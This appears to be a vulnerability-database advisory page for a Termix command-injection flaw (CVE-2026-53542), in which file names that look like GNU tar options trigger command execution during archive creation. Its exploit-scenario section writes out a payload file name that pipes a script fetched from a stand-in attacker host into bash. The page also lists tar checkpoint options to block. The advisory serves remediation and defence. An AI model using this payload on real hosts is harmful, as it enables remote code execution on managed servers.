Skip to main content

Termix EUVDEUVD-2026-62858

| CVE-2026-53542 HIGH
OS Command Injection (CWE-78)
2026-08-19 GitHub_M
8.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Termix as low-privileged user
  2. Delivery
    Navigate to SSH file-manager session
  3. Exploit
    Create files with tar checkpoint option names
  4. Install
    Select crafted files for archive creation
  5. C2
    Backend passes basenames to tar without -- separator
  6. Execute
    Tar interprets names as checkpoint directives
  7. Impact
    Arbitrary command executes on managed SSH host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid authenticated Termix user account with access to the SSH file-manager session feature - this is the product's core functionality and not a non-default configuration. The attacker must be able to create or upload files whose basenames begin with GNU tar option strings (specifically --checkpoint=N and --checkpoint-action=exec=<cmd>), then select those files when initiating archive creation. The vulnerability is triggered at archive creation time (tar, tar.gz, tar.bz2, or tar.xz); the managed SSH account's privilege level (e.g., root vs. limited user) determines the scope of impact on the host. Exploitation is strictly limited to users who already hold authenticated Termix access with file-manager permissions; unauthenticated access or Termix accounts lacking file-manager access cannot reach the vulnerable endpoint. No special network position, non-default configuration, or additional software is required beyond a working Termix deployment prior to version 2.3.2.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately characterizes this vulnerability: it is network-reachable, requires no elevated complexity, demands only a low-privileged authenticated session, and yields full confidentiality, integrity, and availability impact on the managed SSH host. No EPSS score was provided in the input data, so probabilistic exploitation likelihood cannot be quantified from available signals. The CVE is not in CISA KEV, meaning active exploitation is not confirmed; however, the underlying GNU tar checkpoint injection technique is publicly documented and requires no specialized tooling beyond standard Termix access. The gap between CVSS severity and KEV absence is consistent with a newly disclosed vulnerability in a niche product rather than a low-real-risk finding - any Termix operator running a version prior to 2.3.2 faces meaningful risk because the attack requires only a valid authenticated session with file-manager access, which is the product's core intended use case. Scope is unchanged (S:U), meaning impact is contained to the SSH host under management, which partially limits blast radius compared to a full scope-change flaw.

Exploit ScenarioDerived

An authenticated Termix user with file-manager access creates two files on the managed SSH host via the file-manager interface, naming them --checkpoint=1 and --checkpoint-action=exec=curl${IFS}attacker.example/s.sh|bash. The user then selects these files and triggers archive creation (e.g., tar.gz). Termix's backend passes the basenames to GNU tar without a -- separator; tar interprets them as checkpoint directives and executes the embedded shell command on the SSH host with the privileges of the connected SSH account. No public exploit code has been identified at time of analysis, but the technique requires only standard Termix functionality and is straightforward to execute for any authenticated user.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-manager access to execute arbitrary commands on a managed SSH host prior to version 2.3.2. The archive creation endpoint in src/backend/ssh/file-manager.ts passes user-supplied file basenames directly to GNU tar without an end-of-options delimiter, enabling an attacker to supply filenames matching tar checkpoint options (e.g., --checkpoint=1, --checkpoint-action=exec=<cmd>) that tar interprets as directives rather than operands. No public exploit code has been identified at time of analysis and the CVE is not listed in CISA KEV, but the exploitation technique is well-documented and the CVSS score of 8.8 reflects genuine high-priority risk for all pre-2.3.2 deployments.

RemediationAI

Upgrade Termix to version 2.3.2 or later, the vendor-confirmed fixed release available at https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag and documented in security advisory GHSA-rwj6-6vh7-45pv at https://github.com/Termix-SSH/Termix/security/advisories/GHSA-rwj6-6vh7-45pv. If immediate upgrade is not feasible, restrict SSH file-manager session access to fully trusted, vetted users only, since exploitation requires an active authenticated file-manager session - note this is an access-control mitigation, not a technical fix, and any authorized user retains the ability to exploit the flaw. As a secondary interim measure, operators may consider disabling or blocking the archive creation endpoint at the network or application layer if archival functionality is non-essential; this would prevent the vulnerable code path from being reached entirely but would disrupt legitimate archiving workflows. No workaround eliminates the vulnerability without upgrading.

Affected VersionsENISA

Termix < 2.3.2

Affected Packages

euvd termix fix: 2.3.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Termix is a web-based server management platform (CPE: cpe:2.3:a:termix-ssh:termix:*:*:*:*:*:*:*:*) providing SSH terminal access, tunneling, and file-editing capabilities via a browser interface. The vulnerable code path is in src/backend/ssh/file-manager.ts, which handles archive creation requests (tar, tar.gz, tar.bz2, tar.xz) by constructing a tar command using user-selected file basenames. GNU tar treats any argument not preceded by the -- end-of-options sentinel as a potential option string; the checkpoint mechanism specifically allows --checkpoint=N (trigger an action every N records) combined with --checkpoint-action=exec=<cmd> to execute arbitrary shell commands during archive processing. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause: user-controlled input is incorporated into an OS command without sanitization, escaping, or positional isolation. The fix in version 2.3.2 (PR #874, commit 52f4e51) addresses this by ensuring operands are unambiguously relative and separated from options.

Know when Termix gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-accessible web UI (AV:N), low complexity (AC:L), authenticated file-manager session required (PR:L), no additional user interaction needed, full C/I/A impact on managed SSH host within unchanged scope.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 19, 2026 - 21:17 EUVD
CVE Published
Aug 19, 2026 - 20:35 cve.org
HIGH 8.8

DescriptionCVE.org

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to 2.3.2, the archive creation endpoint in src/backend/ssh/file-manager.ts passes selected file basenames to tar without an end-of-options marker and without making the operands unambiguously relative. A user with access to an SSH file-manager session can select basenames beginning with GNU tar options such as --checkpoint=1 and --checkpoint-action=exec, causing tar, tar.gz, tar.bz2, or tar.xz creation to interpret those names as options. The resulting checkpoint action executes commands on the managed SSH host with the privileges of the connected SSH account, allowing file disclosure, modification, and service disruption. This issue is fixed in version 2.3.2.

Executive ViewAI

Why It Matters

Termix versions prior to 2.3.2 contain a remote command injection vulnerability in the file-manager archive creation feature that allows any authenticated user with file-manager permissions to execute arbitrary commands on managed SSH hosts. This directly threatens the integrity of SSH-managed infrastructure for organizations using this platform. Immediate risk assessment and access control restrictions are required to prevent exploitation.

Business Impact: High
Compensating Controls

Restrict file-manager access to minimal number of trusted administrators; implement application-level input validation to block filenames containing tar option flags (--checkpoint, --checkpoint-action, --exclude-backups); deploy network-based intrusion detection to monitor for anomalous command execution on managed SSH hosts; apply network segmentation to limit Termix platform communication to authorized SSH endpoints only.

Threat Intelligence Overview

EPSS Score
0.5%
Top 60% exploitable
Prevalence
Low
niche web-based SSH management tool, limited known enterprise footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Termix

View all
CVE-2025-59951 CRITICAL POC
9.2 Oct 01

Unauthenticated attackers can retrieve stored SSH host credentials - including addresses, usernames, and passwords - fro

CVE-2026-22804 HIGH POC
8.0 Jan 12

Stored XSS in Termix File Manager (versions 1.7.0-1.9.0) allows attackers with SSH server access to execute arbitrary Ja

CVE-2026-45744 CRITICAL
9.9 Jun 05

Remote command execution in Termix web-based server management platform (versions prior to 2.3.2) allows any authenticat

CVE-2026-42454 CRITICAL
9.9 May 08

Remote code execution in Termix (self-hosted web-based server management platform) before version 2.1.0 lets an authenti

CVE-2026-53545 CRITICAL
9.8 Aug 19

OS command injection in Termix (self-hosted web SSH/tunneling platform) before 2.3.2 lets an authenticated user who can

CVE-2026-45748 CRITICAL
9.8 Jun 05

OS command injection in Termix web-based server management platform prior to version 2.3.2 allows remote unauthenticated

CVE-2026-53546 CRITICAL
9.6 Aug 19

Cross-user SSH credential disclosure in Termix, a self-hosted web server-management platform, allows an authenticated lo

CVE-2026-53548 CRITICAL
9.6 Aug 19

Broken authorization in Termix (self-hosted web-based SSH/server management platform) before 2.6.1 lets any authenticate

CVE-2026-79766 CRITICAL
9.1 Sep 24

Command injection in Termix 2.4.1 through 2.5.0 lets an authenticated administrator execute arbitrary operating-system c

CVE-2026-45746 CRITICAL
9.0 Jun 05

Cross-tenant remote code execution in Termix (web-based SSH/file management platform) prior to version 2.3.2 allows an a

CVE-2026-45750 CRITICAL
9.0 Jun 05

Command injection in Termix server management platform before version 2.3.2 allows authenticated users to execute arbitr

CVE-2026-53547 HIGH
8.8 Aug 19

Unauthorized data exposure in Termix prior to 2.3.2 allows a low-privileged authenticated user to exfiltrate password-re

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy